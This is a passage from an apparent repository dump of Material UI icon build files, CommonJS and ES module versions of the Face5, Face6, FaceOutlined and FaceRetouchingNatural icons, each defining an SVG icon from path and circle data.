\"8.5\",\n  r: \".5\"\n}, \"17\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"18\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"19\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"20\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"21\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"22\")], 'Face5Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face5TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-1.12.23-2.18.65-3.15.09.09.21.15.35.15.28 0 .5-.22.5-.5 0-.25-.19-.45-.43-.49.15-.26.32-.51.49-.75-.03.08-.06.15-.06.24 0 .28.22.5.5.5s.5-.22.5-.5S6.28 7 6 7c-.13 0-.25.05-.34.13.52-.68 1.15-1.28 1.86-1.76-.01.04-.02.08-.02.13 0 .28.22.5.5.5s.5-.22.5-.5c0-.24-.17-.43-.4-.48.16-.09.32-.17.49-.25.09.14.24.23.41.23.28 0 .5-.22.5-.5 0-.03-.01-.06-.02-.09.39-.13.79-.23 1.21-.3-.11.1-.19.23-.19.39 0 .28.22.5.5.5s.5-.22.5-.5c0-.21-.13-.38-.3-.46.26-.03.53-.04.8-.04s.54.01.8.04c-.18.08-.3.25-.3.46 0 .28.22.5.5.5s.5-.22.5-.5c0-.16-.08-.29-.19-.38.41.07.82.17 1.21.3-.01.02-.02.05-.02.08 0 .28.22.5.5.5.17 0 .32-.09.41-.23.17.08.33.16.49.25-.23.05-.4.24-.4.48 0 .28.22.5.5.5s.5-.22.5-.5c0-.05-.01-.09-.03-.13.71.48 1.34 1.08 1.86 1.76-.08-.08-.2-.13-.33-.13-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5c0-.09-.03-.16-.07-.23.18.24.34.49.49.75-.23.03-.42.23-.42.48 0 .28.22.5.5.5.14 0 .26-.06.35-.15.42.97.65 2.03.65 3.15 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"6\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"7\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"8\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"9\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"10\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"11\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"12\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"13\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"14\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"15\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"16\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"17\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"18\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"19\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"20\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"21\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"22\")], 'Face5TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face5TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-1.12.23-2.18.65-3.15.09.09.21.15.35.15.28 0 .5-.22.5-.5 0-.25-.19-.45-.43-.49.15-.26.32-.51.49-.75-.03.08-.06.15-.06.24 0 .28.22.5.5.5s.5-.22.5-.5S6.28 7 6 7c-.13 0-.25.05-.34.13.52-.68 1.15-1.28 1.86-1.76-.01.04-.02.08-.02.13 0 .28.22.5.5.5s.5-.22.5-.5c0-.24-.17-.43-.4-.48.16-.09.32-.17.49-.25.09.14.24.23.41.23.28 0 .5-.22.5-.5 0-.03-.01-.06-.02-.09.39-.13.79-.23 1.21-.3-.11.1-.19.23-.19.39 0 .28.22.5.5.5s.5-.22.5-.5c0-.21-.13-.38-.3-.46.26-.03.53-.04.8-.04s.54.01.8.04c-.18.08-.3.25-.3.46 0 .28.22.5.5.5s.5-.22.5-.5c0-.16-.08-.29-.19-.38.41.07.82.17 1.21.3-.01.02-.02.05-.02.08 0 .28.22.5.5.5.17 0 .32-.09.41-.23.17.08.33.16.49.25-.23.05-.4.24-.4.48 0 .28.22.5.5.5s.5-.22.5-.5c0-.05-.01-.09-.03-.13.71.48 1.34 1.08 1.86 1.76-.08-.08-.2-.13-.33-.13-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5c0-.09-.03-.16-.07-.23.18.24.34.49.49.75-.23.03-.42.23-.42.48 0 .28.22.5.5.5.14 0 .26-.06.35-.15.42.97.65 2.03.65 3.15 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"6\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"7\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"8\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"9\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"10\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"11\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"12\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"13\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"14\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"15\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"16\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"17\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"18\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"19\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"20\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"21\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"22\")], 'Face5TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face6.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8v-.03c2.31-.22 3.43-1.59 4.34-3.41.17-.35.51-.56.9-.56h5.53c.38 0 .72.21.89.55.9 1.8 1.99 3.19 4.34 3.41v.03c0 4.42-3.59 8.01-8 8.01\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\")], 'Face6');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face6.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8v-.03c2.31-.22 3.43-1.59 4.34-3.41.17-.35.51-.56.9-.56h5.53c.38 0 .72.21.89.55.9 1.8 1.99 3.19 4.34 3.41v.03c0 4.42-3.59 8.01-8 8.01\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\")], 'Face6');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face6Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 2c3.68 0 6.78 2.51 7.71 5.9-.6-.16-1.33-.37-2.26-2.24C16.94 6.64 15.91 6 14.76 6H9.24c-1.15 0-2.18.64-2.69 1.66-.93 1.86-1.58 2.06-2.26 2.24C5.22 6.51 8.32 4 12 4m0 16c-4.41 0-8-3.59-8-8v-.03c2.31-.22 3.43-1.59 4.34-3.41.17-.35.51-.56.9-.56h5.53c.38 0 .72.21.89.55.9 1.8 1.99 3.19 4.34 3.41v.03c0 4.42-3.59 8.01-8 8.01\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\")], 'Face6Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face6Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 2c3.68 0 6.78 2.51 7.71 5.9-.6-.16-1.33-.37-2.26-2.24C16.94 6.64 15.91 6 14.76 6H9.24c-1.15 0-2.18.64-2.69 1.66-.93 1.86-1.58 2.06-2.26 2.24C5.22 6.51 8.32 4 12 4m0 16c-4.41 0-8-3.59-8-8v-.03c2.31-.22 3.43-1.59 4.34-3.41.17-.35.51-.56.9-.56h5.53c.38 0 .72.21.89.55.9 1.8 1.99 3.19 4.34 3.41v.03c0 4.42-3.59 8.01-8 8.01\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\")], 'Face6Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face6Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8v-.03c2.31-.22 3.43-1.59 4.34-3.41.17-.35.51-.56.9-.56h5.53c.38 0 .72.21.89.55.9 1.8 1.99 3.19 4.34 3.41v.03c0 4.42-3.59 8.01-8 8.01\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\")], 'Face6Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face6Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8v-.03c2.31-.22 3.43-1.59 4.34-3.41.17-.35.51-.56.9-.56h5.53c.38 0 .72.21.89.55.9 1.8 1.99 3.19 4.34 3.41v.03c0 4.42-3.59 8.01-8 8.01\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\")], 'Face6Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face6Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8h2.62l2-4h6.76l2 4H20c0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\")], 'Face6Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face6Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8h2.62l2-4h6.76l2 4H20c0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\")], 'Face6Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face6TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.55 7.66C7.06 6.64 8.09 6 9.24 6h5.53c1.14 0 2.17.64 2.68 1.66.94 1.87 1.66 2.08 2.26 2.24C18.78 6.51 15.68 4 12 4S5.22 6.51 4.29 9.9c.68-.18 1.33-.38 2.26-2.24\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 2c3.68 0 6.78 2.51 7.71 5.9-.6-.16-1.33-.37-2.26-2.24C16.94 6.64 15.91 6 14.76 6H9.24c-1.15 0-2.18.64-2.69 1.66-.93 1.86-1.58 2.06-2.26 2.24C5.22 6.51 8.32 4 12 4m0 16c-4.41 0-8-3.59-8-8v-.03c2.31-.22 3.43-1.59 4.34-3.41.17-.35.51-.56.9-.56h5.53c.38 0 .72.21.89.55.9 1.8 1.99 3.19 4.34 3.41v.03c0 4.42-3.59 8.01-8 8.01\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"3\")], 'Face6TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face6TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.55 7.66C7.06 6.64 8.09 6 9.24 6h5.53c1.14 0 2.17.64 2.68 1.66.94 1.87 1.66 2.08 2.26 2.24C18.78 6.51 15.68 4 12 4S5.22 6.51 4.29 9.9c.68-.18 1.33-.38 2.26-2.24\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 2c3.68 0 6.78 2.51 7.71 5.9-.6-.16-1.33-.37-2.26-2.24C16.94 6.64 15.91 6 14.76 6H9.24c-1.15 0-2.18.64-2.69 1.66-.93 1.86-1.58 2.06-2.26 2.24C5.22 6.51 8.32 4 12 4m0 16c-4.41 0-8-3.59-8-8v-.03c2.31-.22 3.43-1.59 4.34-3.41.17-.35.51-.56.9-.56h5.53c.38 0 .72.21.89.55.9 1.8 1.99 3.19 4.34 3.41v.03c0 4.42-3.59 8.01-8 8.01\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"3\")], 'Face6TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.25 13c0 .69-.56 1.25-1.25 1.25S7.75 13.69 7.75 13s.56-1.25 1.25-1.25 1.25.56 1.25 1.25M15 11.75c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25m7 .25c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10M10.66 4.12C12.06 6.44 14.6 8 17.5 8c.46 0 .91-.05 1.34-.12C17.44 5.56 14.9 4 12 4c-.46 0-.91.05-1.34.12M4.42 9.47c1.71-.97 3.03-2.55 3.66-4.44C6.37 6 5.05 7.58 4.42 9.47M20 12c0-.78-.12-1.53-.33-2.24-.7.15-1.42.24-2.17.24-3.13 0-5.92-1.44-7.76-3.69C8.69 8.87 6.6 10.88 4 11.86c.01.04 0 .09 0 .14 0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'FaceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.25 13c0 .69-.56 1.25-1.25 1.25S7.75 13.69 7.75 13s.56-1.25 1.25-1.25 1.25.56 1.25 1.25M15 11.75c-.69 0-1.25.56-1.25 1.25s.56 1.25 1.25 1.25 1.25-.56 1.25-1.25-.56-1.25-1.25-1.25m7 .25c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10M10.66 4.12C12.06 6.44 14.6 8 17.5 8c.46 0 .91-.05 1.34-.12C17.44 5.56 14.9 4 12 4c-.46 0-.91.05-1.34.12M4.42 9.47c1.71-.97 3.03-2.55 3.66-4.44C6.37 6 5.05 7.58 4.42 9.47M20 12c0-.78-.12-1.53-.33-2.24-.7.15-1.42.24-2.17.24-3.13 0-5.92-1.44-7.76-3.69C8.69 8.87 6.6 10.88 4 11.86c.01.04 0 .09 0 .14 0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'FaceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingNatural.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.77 8.58-.92 2.01c.09.46.15.93.15 1.41 0 4.41-3.59 8-8 8s-8-3.59-8-8c0-.05.01-.1 0-.14 2.6-.98 4.69-2.99 5.74-5.55C11.58 8.56 14.37 10 17.5 10c.45 0 .89-.04 1.33-.1l-.6-1.32-.88-1.93-1.93-.88-2.79-1.27 2.79-1.27.71-.32C14.87 2.33 13.47 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-1.47-.33-2.87-.9-4.13z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.6 5.6 19.5 8l-1.1-2.4L16 4.5l2.4-1.1L19.5 1l1.1 2.4L23 4.5z\"\n}, \"3\")], 'FaceRetouchingNatural');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingNatural.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.77 8.58-.92 2.01c.09.46.15.93.15 1.41 0 4.41-3.59 8-8 8s-8-3.59-8-8c0-.05.01-.1 0-.14 2.6-.98 4.69-2.99 5.74-5.55C11.58 8.56 14.37 10 17.5 10c.45 0 .89-.04 1.33-.1l-.6-1.32-.88-1.93-1.93-.88-2.79-1.27 2.79-1.27.71-.32C14.87 2.33 13.47 2 12 2 6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-1.47-.33-2.87-.9-4.13z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.6 5.6 19.5 8l-1.1-2.4L16 4.5l2.4-1.1L19.5 1l1.1 2.4L23 4.5z\"\n}, \"3\")], 'FaceRetouchingNatural');"
  },
  {
    "path": "packages/mui-icons-material/lib/FaceRetouchingNaturalOutlined.js",
